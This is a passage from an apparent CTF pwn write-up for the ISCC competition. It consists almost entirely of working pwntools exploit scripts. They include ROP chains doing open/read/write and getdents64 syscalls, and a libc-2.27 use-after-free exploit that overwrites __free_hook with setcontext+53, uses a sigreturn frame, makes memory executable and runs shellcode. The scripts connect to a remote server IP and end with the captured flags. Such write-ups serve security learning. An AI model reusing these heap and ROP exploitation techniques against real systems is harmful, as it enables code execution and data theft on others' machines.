#gdb.attach(p, "b*0x555555556488\nc")

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc.address + 0x00000000000904a9 # pop rdx ; pop rbx ; ret
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; ret
syscall = next(libc.search(asm('syscall;ret')))

orw = flat([
  pop_rdi, stack+0xc8, pop_rsi,0, pop_rdx,0,0, pop_rax,2, syscall,  # open
  pop_rdi, 3, pop_rsi, 0x100080, pop_rdx,0x80,0, pop_rax,0, syscall,  # read
  pop_rdi, 1, pop_rax,1, syscall # write
]) + b'flllll1ll1lllla4444444444444444gGggGG\x00'

#找不到文件,读目录
orw1 = flat([
  pop_rdi, stack+0xc8, pop_rsi,0, pop_rdx,0,0, pop_rax,2, syscall,  # open
  pop_rdi, 3, pop_rsi, 0x100080, pop_rdx,0x400,0, pop_rax,0x4e, syscall,  # getdents64
  pop_rdi, 1, pop_rax,1, syscall # write
]) + b'.\x00'

debug(0, orw)

#gdb.attach(p)
p.interactive()

#ISCC{DoKPWB4BnBZ5Afjmst5brJvr4SHvm74HMhVF}

unheap

libc-2.27 UAF 写__free_hook setcontext+53 再写shellcode

from pwn import *

context(arch='amd64', log_level='debug')
libc = ELF('/home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
#elf = ELF('./unheap')

#p = process('./unheap')
p = remote('182.92.237.102', 10030)

def add(size, msg=b'A'):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b"[*] Note data size: ", str(size).encode())
    p.sendafter(b"[*] Note content: ", msg)

def free(idx):
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b"[*] Note index: ", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b">> ", b'3')
    p.sendlineafter(b'[+] Note index: ', str(idx).encode())
    p.sendafter(b"[*] Note data: ", msg)

def show(idx):
    p.sendlineafter(b">> ", b'4')
    p.sendlineafter(b"[*] Note index: ", str(idx).encode())

#heap = 0x280 libc-2.27 ?
for i in range(8):
    add(0x80)

add(0x28)
add(0x28)
for i in range(8):
    free(i)

show(7) #ca0
p.recvuntil(b': ')
libc.address = u64(p.recv(6)+b'\0\0') - 0x60 - 0x10 - libc.sym['__malloc_hook'] #libc.sym['main_arena']
print(f"{libc.address = :x}")

#
syscall = next(libc.search(asm("syscall\nret"))) 
free_hook = libc.sym['__free_hook']
#
frame = SigreturnFrame()
frame.rax=0 # read
frame.rdi=0 # argv fd
frame.rsi=free_hook&0xfffffffffffff000 #argv ptr
frame.rdx=0x200                        #argv size
frame.rsp=free_hook&0xfffffffffffff000 #retrun
frame.rip=syscall                     #call

add(0x100, flat(frame)) #10

free(8)
free(9)
edit(9, p64(libc.sym['__free_hook']))

add(0x28) #11
add(0x28, p64(libc.sym['setcontext']+53))  #__free_hook -> setcontext+53

free(10)  #

layout = [
    libc.address + 0x000000000002164f , free_hook & 0xfffffffffffff000,
    libc.address + 0x0000000000023a6a , 0x2000,
    libc.address + 0x0000000000001b96 , 7,
    libc.address + 0x000000000001b500 , 10,
    syscall, #: syscall; ret;
    next(libc.search(asm("jmp rsp"))), #: jmp rsp;
]

shellcode = asm('''
sub rsp, 0x800
push 0
mov rax, 0x7478742e67616c66
push rax
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js failed

mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall

jmp exit

failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')
p.sendline(flat(layout) + shellcode)


#gdb.attach(p)
#pause()
p.interactive()
#ISCC{BdjoU07jthSphGMZ6Bn58l5sIEtOSAa44kEh}

  • 24
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值